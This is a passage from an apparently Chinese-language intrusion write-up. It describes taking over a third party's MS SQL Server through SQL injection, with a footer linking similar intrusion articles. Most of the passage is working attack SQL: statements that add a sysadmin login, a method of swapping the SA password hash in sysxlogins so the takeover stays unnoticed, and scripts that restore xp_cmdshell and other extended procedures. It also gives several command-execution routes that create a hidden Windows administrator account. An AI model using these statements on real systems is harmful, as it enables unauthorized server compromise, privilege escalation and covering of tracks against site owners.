|
没办法,只能另图他法了。得想办法恢复那些存储扩展才行。先用NC连了下对方的1433,根据反馈结果表示可以连上。如图4
于是用如下语句加了个SYSADMIN权限的用户
;exec master.dbo.sp_addlogin nspcn,netpatch--
;exec master.dbo.sp_addsrvrolemember nspcn sysadmin--
--//后来才发现我语句写错了,第二句漏了个逗号!
--//正确的应该是exec master.dbo.sp_addsrvrolemember nspcn, sysadmin--
用查询分析器连接上去,发现只是个PUBLIC权限,晕死我了。当时也晕忽忽的,不知道哪里错了。用NBSI也没加上。
于是想到了一个疯狂的点子,修改SA密码。如何修改呢?如果我们直接用;exec master.dbo.sp_password null,nspcn,netpatch—修改,虽然有办法修改,但万一恢复不了扩展,我们又不知道原密码,没办法将密码修改回去。那么我们将完全暴露,得想个巧妙的方法才行。
于是想到了,先复制SA的HASH到A用户,然后再把B用户的HASH复制给SA,当然我们知道这个B用户的密码。这样我们就可以用知道的密码连上去了,修改回去时也把A用户的HASH复制给SA就可以了。
我们先设想下修改后的情况,如果密码修改成功,那么网站立即崩溃爆错。如果不在最短的时间内恢复,那么我的行动将会暴露。结合上面的“万一恢复不了扩展”我制定了如下计划,准备好恢复sp_addextendedproc存储扩展的SQL语句,以及此扩展恢复后需要恢复存储扩展以及要执行的命令,当然最后一条是把SA密码修改回去。
相关SQL如下:
Use master
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
--以上是恢复sp_addextendedproc
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regread ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll'
--以上语句是恢复各存储扩展
exec master.dbo.xp_cmdshell 'net user nspcn netpatch /add&&net localgroup administrators nspcn /add’--
;DECLARE @shell INT EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c net user nspcn netpatch /add&&net localgroup administrators nspcn /add ','0','true'
exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user nspcn netpatch /add&&net localgroup administrators nspcn /add ")')
--为了预防万一,用了多个存储扩展执行添加nspcn用户的命令
update sysxlogins set password=(select top 1 password from sysxlogins where name=’a’) where name=’sa’
--重要语句,把SA密码修改回去
但是,在默认情况下master.dbo.sysxlogins是不允许修改的。我们需要开启这个权限。
执行exec master.dbo.sp_configure 'allow updates', 1;RECONFIGURE WITH OVERRIDE--后,我们成功开启了修改权限。于是建立了2个用户,密码均为netpatch
先用update sysxlogins set password=(select top 1 password from sysxlogins where name=’sa’) where name=’a’
把SA的HASH复制过去。
然后再用update sysxlogins set password=(select top 1 password from sysxlogins where name=’b’) where name=’sa’
把密码修改为netpatch
修改后立即用查询分析器执行已经准备好的命令,但当命令执行完毕时,发现一个很严重的问题,就是odsole70.dll,xplog70.dll,xpstar.dll三个DLL已被删除,无法恢复我们需要的存储扩展了。如图5、如图6

再次陷入困境。在百般无耐的情况下,只能用一个没办法的点子——猜WEB目录路径。
| 一次通过 Oracle8i 入侵系统之旅 | 03-21 |
| SA权限下的思路变通 | 03-18 |
| 有防火墙的网站整个入侵过程 | 01-21 |
| 绕过Xplog70.dll玩入侵 | 01-14 |
| 一步一步的入侵----only for you | 01-09 |
| 入侵中快速获得Web根目录的技巧 | 01-09 |
| 记一次对RedHat Linux系统的安全 | 01-08 |
| 介绍几个小工具和入侵的技法(2) | 01-08 |
| 有防火墙的网站整个入侵过程 | 01-04 |
| 拐弯入侵虚拟主机 | 01-04 |
| 由一次入侵实例看虚拟主机系统的 | 01-02 |
| 解读IDS入侵检测系统术语 | 01-02 |